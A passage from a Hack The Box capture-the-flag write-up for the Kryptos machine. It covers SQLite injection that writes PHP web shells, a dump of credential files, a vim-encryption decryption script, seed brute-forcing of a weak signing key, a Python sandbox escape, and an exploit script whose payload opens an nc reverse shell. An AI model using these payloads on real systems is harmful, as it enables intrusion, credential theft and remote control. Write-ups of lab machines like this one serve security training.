[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%74%65%73%74%2e%70%68%70%27%20%41%53%20%74%65%73%74%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%65%63%68%6f%20%22%74%65%73%74%22%20%3f%3e%27%29%3b

[*] Result :

< html >

< head > </ head >

< body >

Opened database successfully

Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.php' AS test;CREATE TABLE test.pwn (dataz text);INSERT INTO test.pwn (dataz) VALUES (' echo "test" ');

</ body >

</ html >



The file was successfully created :

1

2

3

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test.php

[*] Result :

test



Arbitrary File Read

We know that dangerous php functions are disabled, but let’s check which functions are exactly disabled, I overwrote my test.php file and made it call phpinfo() instead of printing test :

1

2

3

4

5

6

7

8

9

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%74%65%73%74%2e%70%68%70%27%20%41%53%20%74%65%73%74%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%74%65%73%74%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%20%3f%3e%27%29%3b

[*] Result :

< html >

< head > </ head >

< body >

Opened database successfully

Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.php' AS test;CREATE TABLE test.pwn (dataz text);INSERT INTO test.pwn (dataz) VALUES (' phpinfo(); ');

</ body >

</ html >



Then I requested :

1

http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test.php



and got the phpinfo page. It’s a very long page, I opened it in firefox and here’s the disabled functions part :



Almost any function that can get us code execution is disabled, but scandir() and file_get_contents() aren’t disabled, I wrote a php file that takes file and dir parameters to read a file or list a directory.

1

print_r(scandir( "$_GET[dir]" )); print_r(file_get_contents( "$_GET[file]" ));



1

2

3

4

5

6

7

8

9

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%72%69%63%6b%2e%70%68%70%27%20%41%53%20%72%69%63%6b%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%70%72%69%6e%74%5f%72%28%73%63%61%6e%64%69%72%28%22%24%5f%47%45%54%5b%64%69%72%5d%22%29%29%3b%20%70%72%69%6e%74%5f%72%28%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%22%24%5f%47%45%54%5b%66%69%6c%65%5d%22%29%29%3b%20%3f%3e%27%29%3b

[*] Result :

< html >

< head > </ head >

< body >

Opened database successfully

Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/rick.php' AS rick;CREATE TABLE rick.pwn (dataz text);INSERT INTO rick.pwn (dataz) VALUES (' print_r(scandir( "$_GET[dir]" )); print_r(file_get_contents( "$_GET[file]" )); ');

</ body >

</ html >



Let’s test :

1

2

3

4

5

6

7

8

9

10

11

12

13

[?] URL : http:

[*] Result :

V3ArraypwnpwnCREATE TABLE pwn (dataz text)

(

[ 0 ] => .

[ 1 ] => ..

[ 2 ] => books.db

[ 3 ] => rick.php

[ 4 ] => test.php

)

[?] URL : http:

[*] Result :

V3 print_r(scandir( "$_GET[dir]" )); print_r(file_get_contents( "$_GET[file]" ));



It’s working fine, but as you can see it prints some weird characters which i guess are caused by the sqlite query.

In /home there was a directory for a user called rijndael :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

[?] URL : http:

[*] Result :

V3ArraypwnpwnCREATE TABLE pwn (dataz text)

(

[ 0 ] => .

[ 1 ] => ..

[ 2 ] => rijndael

)

[?] URL : http:

[*] Result :

V3ArraypwnpwnCREATE TABLE pwn (dataz text)

(

[ 0 ] => .

[ 1 ] => ..

[ 2 ] => .bash_history

[ 3 ] => .bash_logout

[ 4 ] => .bashrc

[ 5 ] => .cache

[ 6 ] => .gnupg

[ 7 ] => .profile

[ 8 ] => .ssh

[ 9 ] => creds.old

[ 10 ] => creds.txt

[ 11 ] => kryptos

[ 12 ] => user.txt

)



I couldn’t read user.txt or go to the ssh directory, but I could read creds.txt and creds.old :

1

2

3

4

5

6

7

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?file=/home/rijndael/creds.old

[*] Result :

V3rijndael / Password1BLE pwn (dataz text)

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick.php?file=/home/rijndael/creds.txt

[*] Result :

V3VimCrypt~02!REATE TABLE pwn (dataz text)

vnd]KyYC}56gMRAn[?] URL :



I copied both of these files from my directory ( ssrf ) :

1

2

3

4

5

6

7

root@kali:~/Desktop/HTB/boxes/kryptos# cp ssrf/OUTPUT_19 ./creds.old

root@kali:~/Desktop/HTB/boxes/kryptos# cp ssrf/OUTPUT_20 ./creds.txt

root@kali:~/Desktop/HTB/boxes/kryptos# cat creds.old

V3rijndael / Password1BLE pwn (dataz text)

root@kali:~/Desktop/HTB/boxes/kryptos# cat creds.txt

V3VimCrypt~02!REATE TABLE pwn (dataz text)

vnd]KyYC}56gMRAn



But because of that weird characters thing the files were partially damaged, so I wrote another php file to print the base-64 encoded value of the file between a bunch of newlines :

1

echo "









" ; echo base64_encode(file_get_contents( "$_GET[file]" )); echo "









"



1

2

3

4

5

6

7

8

9

[?] URL : http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=%31%3b%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%27%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%72%69%63%6b%32%2e%70%68%70%27%20%41%53%20%72%69%63%6b%3b%43%52%45%41%54%45%20%54%41%42%4c%45%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%49%4e%53%45%52%54%20%49%4e%54%4f%20%72%69%63%6b%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%27%3c%3f%70%68%70%20%65%63%68%6f%20%22%5c%6e%5c%6e%5c%6e%5c%6e%5c%6e%22%3b%20%65%63%68%6f%20%62%61%73%65%36%34%5f%65%6e%63%6f%64%65%28%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%22%24%5f%47%45%54%5b%66%69%6c%65%5d%22%29%29%3b%20%65%63%68%6f%20%22%5c%6e%5c%6e%5c%6e%5c%6e%5c%6e%22%20%3f%3e%27%29%3b

[*] Result :

< html >

< head > </ head >

< body >

Opened database successfully

Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/rick2.php' AS rick;CREATE TABLE rick.pwn (dataz text);INSERT INTO rick.pwn (dataz) VALUES (' echo "









" ; echo base64_encode(file_get_contents( "$_GET[file]" )); echo "









" ');

</ body >

</ html >



1

2

3

4

5

6

7

8

9

10

11

12

13

[?] URL : http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rick2.php?file=/home/rijndael/creds.txt

[*] Result :

fStablepwnpwnCREATE TABLE pwn (dataz text)









VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu









[?] URL :



1

2

3

4

5

6

root@kali:~/Desktop/HTB/boxes/kryptos# echo VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu | base64 -d > creds.txt

root@kali:~/Desktop/HTB/boxes/kryptos# cat creds.txt

VimCrypt~02!

vnd]KyYC}56gMRAnroot@kali:~/Desktop/HTB/boxes/kryptos# file creds.txt

creds.txt: Vim encrypted file data

root@kali:~/Desktop/HTB/boxes/kryptos#



Decrypting the Credentials, User Flag

The old credentials : rijndael / Password1 didn’t work with ssh.

And the new credentials are encrypted :

1

2

kali:~/Desktop/HTB/boxes/kryptos# file creds.txt

creds.txt: Vim encrypted file data



I searched about how vim encrypts files and if there were any known vulnerabilities. I found this article which was talking about a weakness in this encryption system.

I won’t repeat what was said in the article but these are the important parts :

The Vim editor has two modes of encryption. The old pkzip based system (which is broken, but still the default for compatiblity reasons) and the new (as of Vim 7.3) blowfish based system.

Blowfish is a block cipher, this means it encrypts a block of data at a time. There is no state kept between blocks, this is important to understand; it means the same input will result in the same output (if the key is the same).

the issue is that Vim actually ends up using the same IV for the first 8 blocks (essentially repeating the first part of the diagram 8 times, then going on to the next operation that mixes in the output). So the result is something like CFB but with the first 64 bytes lacking any protection.

The way CFB works is to compute a stream of data (the keystream), then XOR it with the plaintext. However Vim is reusing the keystream, in pseudocode: 1

2

3

keystream = Blowfish(iv)

ciphertext1 = XOR(keystream, plaintext[0:7])

ciphertext2 = XOR(keystream, plaintext[8:15])

This means by a simple relationship we can recover the keystream: 1

keystream = XOR(ciphertext1, plaintext[0:7])



With this information I started testing some stuff. We have creds.old :

1

rijndael / Password1



As you can see rijndael which is the username might be also present in the encrypted file as the first 8 bytes. So I tried using rijndael as the known plaintext.

In python I opened the file for reading :

1

with open( "./creds.txt" , "rb" ) as f:



We don’t need the first 28 bytes : 12 bytes for the header ( VimCrypt~02! ) + 8 bytes for the salt + 8 bytes for the IV . So I stored them in a variable that I won’t use :

1

temp = f.read( 28 )



Then we have about 4 blocks left (each block 8 bytes) :

1

2

3

4

5

root@kali:~/Desktop/HTB/boxes/kryptos

00000000 : 5669 6 d43 7279 7074 7e30 3221 0b1 8 e435 VimCrypt~ 02 !.. .5

00000010 : cb56 129 a 3544 8040 703b 962 d 930 d a810 .V. .5 D.@p;.-....

00000020 : 766 e 645 d c14b e21c 7959 437 d d935 fb36 vnd].K..yYC} .5 .6

00000030 : 674 d 5241 8b 6e gMRA.n



So I read them :

1

2

3

4

5

block1 = f.read( 8 )

block2 = f.read( 8 )

block3 = f.read( 8 )

block4 = f.read( 8 )

f.close()



I used the same relation from the article to get the key :

1

keystream = XOR(ciphertext1, plaintext[ 0 : 7 ])



I XOR ed the plaintext ( rijndael ) with the first block :

1

key = '' .join(chr(ord(a)^ord(b)) for a, b in zip(block1, 'rijndael' ))



Then I tried to decode the first 2 blocks with the retrieved key and it worked successfully :

1

2

3

4

5

print '' .join(chr(ord(a)^ord(b)) for a, b in zip(block1, key))

rijndael

print '' .join(chr(ord(a)^ord(b)) for a, b in zip(block2, key))

/ bkVBL

>>>



After my testing was successful I wrote this script which does it automatically :

vim-decrypt.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34



import sys



if len(sys.argv) != 3 :

print "[-] Usage: {} <encrypted file> <plaintext> " .format(sys.argv[ 0 ])

exit()



file = sys.argv[ 1 ]

plaintext = sys.argv[ 2 ]



def xor (string,key) :

return '' .join(chr(ord(a)^ord(b)) for a, b in zip(string, key))



with open(file, "rb" ) as f:



temp = f.read( 28 )



block1 = f.read( 8 )

block2 = f.read( 8 )

block3 = f.read( 8 )

block4 = f.read( 8 )



f.close()



key = xor(block1, plaintext)



final = ""

final += xor(block1, key)

final += xor(block2, key)

final += xor(block3, key)

final += xor(block4, key)



print "[+] Decrypted:

"

print final



I got the credentials :

1

2

3

4

5

6

root@kali:~/Desktop/HTB/boxes/kryptos# ./vim-decrypt.py ./creds.txt rijndael

[+] Decrypted:



rijndael / bkVBL8Q9HuBSpj



root@kali:~/Desktop/HTB/boxes/kryptos#



Then I could ssh into the box as rijndael :



We owned user.

kryptos.py: Analysis

In the home directory of rijndael there was a directory called kryptos which had a python script called kryptos.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

rijndael@kryptos:~$ ls -la

total 48

drwxr-xr-x 6 rijndael rijndael 4096 Mar 13 2019 .

drwxr-xr-x 3 root root 4096 Oct 30 2018 ..

lrwxrwxrwx 1 root root 9 Oct 31 2018 .bash_history -> /dev/null

-rw-r--r-- 1 root root 220 Oct 30 2018 .bash_logout

-rw-r--r-- 1 root root 3771 Oct 30 2018 .bashrc

drwx------ 2 rijndael rijndael 4096 Mar 13 2019 .cache

-rw-rw-r-- 1 root root 21 Oct 30 2018 creds.old

-rw-rw-r-- 1 root root 54 Oct 30 2018 creds.txt

drwx------ 3 rijndael rijndael 4096 Mar 13 2019 .gnupg

drwx------ 2 rijndael rijndael 4096 Mar 13 2019 kryptos

-rw-r--r-- 1 root root 807 Oct 30 2018 .profile

drwx------ 2 rijndael rijndael 4096 Oct 31 2018 .ssh

-r-------- 1 rijndael rijndael 33 Oct 30 2018 user.txt

rijndael@kryptos:~$ cd kryptos/

rijndael@kryptos:~/kryptos$ ls -la

total 12

drwx------ 2 rijndael rijndael 4096 Mar 13 2019 .

drwxr-xr-x 6 rijndael rijndael 4096 Mar 13 2019 ..

-r-------- 1 rijndael rijndael 2257 Mar 13 2019 kryptos.py

rijndael@kryptos:~/kryptos$



I downloaded the script on my machine :

1

2

3

4

root@kali:~/Desktop/HTB/boxes/kryptos# scp rijndael@kryptos.htb:/home/rijndael/kryptos/kryptos.py ./

rijndael@kryptos.htb's password:

kryptos.py 100% 2257 6.8KB/s 00:00

root@kali:~/Desktop/HTB/boxes/kryptos#



kryptos.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

import random

import json

import hashlib

import binascii

from ecdsa import VerifyingKey, SigningKey, NIST384p

from bottle import route, run, request, debug

from bottle import hook

from bottle import response as resp





def secure_rng (seed) :



p = 2147483647

g = 2255412



keyLength = 32

ret = 0

ths = round((p -1 )/ 2 )

for i in range(keyLength* 8 ):

seed = pow(g,seed,p)

if seed > ths:

ret += 2 **i

return ret





seed = random.getrandbits( 128 )

rand = secure_rng(seed) + 1

sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)

vk = sk.get_verifying_key()



def verify (msg, sig) :

try :

return vk.verify(binascii.unhexlify(sig), msg)

except :

return False



def sign (msg) :

return binascii.hexlify(sk.sign(msg))





def web_root () :

response = { 'response' :

{

'Application' : 'Kryptos Test Web Server' ,

'Status' : 'running'

}

}

return json.dumps(response, sort_keys= True , indent= 2 )





def evaluate () :

try :

req_data = request.json

expr = req_data[ 'expr' ]

sig = req_data[ 'sig' ]



if not verify(str.encode(expr), str.encode(sig)):

return "Bad signature"

result = eval(expr, { '__builtins__' : None })

response = { 'response' :

{

'Expression' : expr,

'Result' : str(result)

}

}

return json.dumps(response, sort_keys= True , indent= 2 )

except :

return "Error"







def debug () :

expr = '2+2'

sig = sign(str.encode(expr))

response = { 'response' :

{

'Expression' : expr,

'Signature' : sig.decode()

}

}

return json.dumps(response, sort_keys= True , indent= 2 )



run(host= '127.0.0.1' , port= 81 , reloader= True )



First thing I noticed was that It’s a server which runs on localhost on port 81 :

1

run(host='127.0.0.1', port=81, reloader=True)



I checked the listening ports on the box and the server was running :

1

2

3

4

5

6

7

8

9

10

11

rijndael@kryptos:~$ netstat -ntlp

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:81 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -

tcp6 0 0 :::80 :::* LISTEN -

rijndael@kryptos:~$



There’s a route called /eval which accepts POST requests in json and evaluates whatever is in expr , However there are two problems, first one is that it only evaluates signed expressions, second one is that even if we could bypass that protection we can’t execute something useful because builtins are disabled :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19



def evaluate () :

try :

req_data = request.json

expr = req_data[ 'expr' ]

sig = req_data[ 'sig' ]



if not verify(str.encode(expr), str.encode(sig)):

return "Bad signature"

result = eval(expr, { '__builtins__' : None })

response = { 'response' :

{

'Expression' : expr,

'Result' : str(result)

}

}

return json.dumps(response, sort_keys= True , indent= 2 )

except :

return "Error"



Let’s take a look at the keys and the secure random number generator function ( secure_rng ) :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

def secure_rng (seed) :



p = 2147483647

g = 2255412



keyLength = 32

ret = 0

ths = round((p -1 )/ 2 )

for i in range(keyLength* 8 ):

seed = pow(g,seed,p)

if seed > ths:

ret += 2 **i

return ret





seed = random.getrandbits( 128 )

rand = secure_rng(seed) + 1

sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)

vk = sk.get_verifying_key()



I noticed this comment :

1





I took the rng function from the script and wrote a script to test how random is it :

test.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26



import random

import json

import hashlib

import binascii

from ecdsa import VerifyingKey, SigningKey, NIST384p

from bottle import route, run, request, debug

from bottle import hook

from bottle import response as resp



def secure_rng (seed) :

p = 2147483647

g = 2255412

keyLength = 32

ret = 0

ths = round((p -1 )/ 2 )

for i in range(keyLength* 8 ):

seed = pow(g,seed,p)

if seed > ths:

ret += 2 **i

return ret



for i in range( 15 ):

seed = random.getrandbits( 128 )

rand = secure_rng(seed) + 1

print rand



I set the range to 15 to print 15 samples :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

root@kali:~/Desktop/HTB/boxes/kryptos# ./test.py

7470457370149431962811031290883090829243224817138100905771457032768589009029

8

14940914740298863925622062581766181658486449634276201811542914065537178018057

2

3735228685074715981405515645441545414621612408569050452885728516384294504515

7470457370149431962811031290883090829243224817138100905771457032768594247974

1

59763658961195455702488250327064726633945798537104807246171656262148712072266

18

14940914740298863925622062581766181658486449634276201811542914065537178345497

1

7470457370149431962811031290883090829243224817138100905771457032768589172749

29881829480597727851244125163532363316972899268552403623085828131074356036133

12

396



As you can see, it’s not that “random”

kryptos.py: Bruteforcing the Seed

Knowing that the random number generator is not random enough, It’s possible to bruteforce the seed.

I tunneled port 81 to my box :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

root@kali:~/Desktop/HTB/boxes/kryptos# ssh -L 81:127.0.0.1:81 rijndael@kryptos.htb

rijndael@kryptos.htb's password:

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)



* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage





* Canonical Livepatch is available for installation.

- Reduce system reboots and improve kernel security. Activate at:

https://ubuntu.com/livepatch

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



Last login: Thu Sep 19 22:10:59 2019 from 10.10.xx.xx

rijndael@kryptos:~$



Then I wanted to test the server response :

1

2

root@kali:~/Desktop/HTB/boxes/kryptos# curl -X POST http://127.0.0.1:81/eval -H 'Content-Type: application/json' -d '{"expr": "1+1", "sig": "123"}'

Bad signature



I wrote a script to bruteforce the seed :

brute.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46



import random

import json

import hashlib

import binascii

from ecdsa import VerifyingKey, SigningKey, NIST384p

from bottle import route, run, request, debug

from bottle import hook

from bottle import response as resp

import requests



def secure_rng (seed) :

p = 2147483647

g = 2255412

keyLength = 32

ret = 0

ths = round((p -1 )/ 2 )

for i in range(keyLength* 8 ):

seed = pow(g,seed,p)

if seed > ths:

ret += 2 **i

return ret



def sign (msg) :

return binascii.hexlify(sk.sign(msg))



num = 1

YELLOW = "\033[93m"

GREEN = "\033[32m"



for i in range( 10000 ):

expr = "1+1"

seed = random.getrandbits( 128 )

rand = secure_rng(seed) + 1

sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)

vk = sk.get_verifying_key()

sig = sign(expr)



req = requests.post( 'http://127.0.0.1:81/eval' , json={ 'expr' : expr, 'sig' : sig})

response = req.text

if response == "Bad signature" :

print YELLOW + "[-] Attempt " + str(num) + ": failed"

num += 1

else :

print GREEN + "[+] Found the seed: " + str(seed)

exit()



The script sends a simple expression : 1+1 and uses the functions from kryptos.py to sign it, every attempt the server responds with Bad signature it regenerates the signing key and tries again.

It could find the right seed after 2 attempts, however sometimes it takes between 30-40 attempts and sometimes it takes more than 100 attempts.

1

2

3

4

root@kali:~/Desktop/HTB/boxes/kryptos# ./brute.py

[-] Attempt 1: failed

[-] Attempt 2: failed

[+] Found the seed: 78272723826101975912150018057949619293



I wrote this script to sign and evaluate expressions depending on the given seed :

eval.py

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43



import random

import json

import hashlib

import binascii

from ecdsa import VerifyingKey, SigningKey, NIST384p

from bottle import route, run, request, debug

from bottle import hook

from bottle import response as resp

import requests

import sys



def secure_rng (seed) :

p = 2147483647

g = 2255412

keyLength = 32

ret = 0

ths = round((p -1 )/ 2 )

for i in range(keyLength* 8 ):

seed = pow(g,seed,p)

if seed > ths:

ret += 2 **i

return ret



def sign (sk,msg) :

return binascii.hexlify(sk.sign(msg))



def eval (seed,expr) :

rand = secure_rng(seed) + 1

sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)

vk = sk.get_verifying_key()

sig = sign(sk,expr)

req = requests.post( 'http://127.0.0.1:81/eval' , json={ 'expr' : expr, 'sig' : sig})

response = req.text

print response



if len(sys.argv) != 3 :

print "Usage: {} <seed> <expression>" .format(sys.argv[ 0 ])

exit()

else :

seed = int(sys.argv[ 1 ])

expr = sys.argv[ 2 ]

eval(seed,expr)



Let’s try the seed we got :

1

2

3

4

5

6

7

root@kali:~/Desktop/HTB/boxes/kryptos# ./eval.py 78272723826101975912150018057949619293 1+1

{

"response" : {

"Expression" : "1+1" ,

"Result" : "2"

}

}



It worked.

kryptos.py: Exploitation, Root Flag

We still have the problem of disabled builtins , as you can see we can’t do anything :

1

2

root@kali:~/Desktop/HTB/boxes/kryptos# ./eval.py 78272723826101975912150018057949619293 'import os;os.system("whoami")'

Error



xct had a bypass for that on his blog :

1

[x for x in ( 1 ).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern' ][ 0 ].__init__.__globals__[ '__builtins__' ][ '__import__' ]( 'os' ).system( 'whoami' )



I gave it a try and it worked :

1

2

3

4

5

6

7

root@kali:~/Desktop/HTB/boxes/kryptos# ./eval.py 78272723826101975912150018057949619293 "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('curl http://10.10.xx.xx/')"

{

"response" : {

"Expression" : "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('curl http://10.10.xx.xx/')" ,

"Result" : "0"

}

}





Now that we have RCE, I wrapped it all up in one exploit :

exploit.py

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78



import random

import json

import hashlib

import binascii

from ecdsa import VerifyingKey, SigningKey, NIST384p

from bottle import route, run, request, debug

from bottle import hook

from bottle import response as resp

import requests

import sys



YELLOW = "\033[93m"

GREEN = "\033[32m"



def secure_rng (seed) :

p = 2147483647

g = 2255412

keyLength = 32

ret = 0

ths = round((p -1 )/ 2 )

for i in range(keyLength* 8 ):

seed = pow(g,seed,p)

if seed > ths:

ret += 2 **i

return ret



def sign (sk,msg) :

return binascii.hexlify(sk.sign(msg))



def brute () :

num = 1

for i in range( 10000 ):

expr = "1+1"

seed = random.getrandbits( 128 )

rand = secure_rng(seed) + 1

sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)

vk = sk.get_verifying_key()

sig = sign(sk,expr)

req = requests.post( 'http://127.0.0.1:81/eval' , json={ 'expr' : expr, 'sig' : sig})

response = req.text

if response == "Bad signature" :

print YELLOW + "[-] Attempt " + str(num) + ": failed"

num += 1

else :

print GREEN + "[+] Found the seed: " + str(seed)

return seed

break



def exploit (seed,expr) :

rand = secure_rng(seed) + 1

sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)

vk = sk.get_verifying_key()

sig = sign(sk,expr)

requests.post( 'http://127.0.0.1:81/eval' , json={ 'expr' : expr, 'sig' : sig})



if len(sys.argv) != 4 :

print YELLOW + "[-] Usage: {} <seed> <ip> <port> | Or to bruteforce the seed: {} -b <ip> <port>" .format(sys.argv[ 0 ],sys.argv[ 0 ])

exit()

else :

if sys.argv[ 1 ] == "-b" :

ip = sys.argv[ 2 ]

port = sys.argv[ 3 ]

print YELLOW + "[*] Bruteforcing the seed."

seed = brute()

payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + str(port) + " >/tmp/f"

expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == \'Pattern\'][0].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'" + payload + "\')"

print YELLOW + "[*] Executing payload, check your listener."

exploit(seed,expr)

else :

seed = int(sys.argv[ 1 ])

ip = sys.argv[ 2 ]

port = sys.argv[ 3 ]

print YELLOW + "[*] Seed: " + str(seed)

payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + str(port) + " >/tmp/f"

expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == \'Pattern\'][0].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'" + payload + "\')"

print YELLOW + "[*] Executing payload, check your listener."

exploit(seed,expr)



It takes the ip, port and whether bruteforces the seed or takes the seed as an argument then it spawns a reverse shell.





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Luke

Next Hack The Box write-up : Hack The Box - Swagshop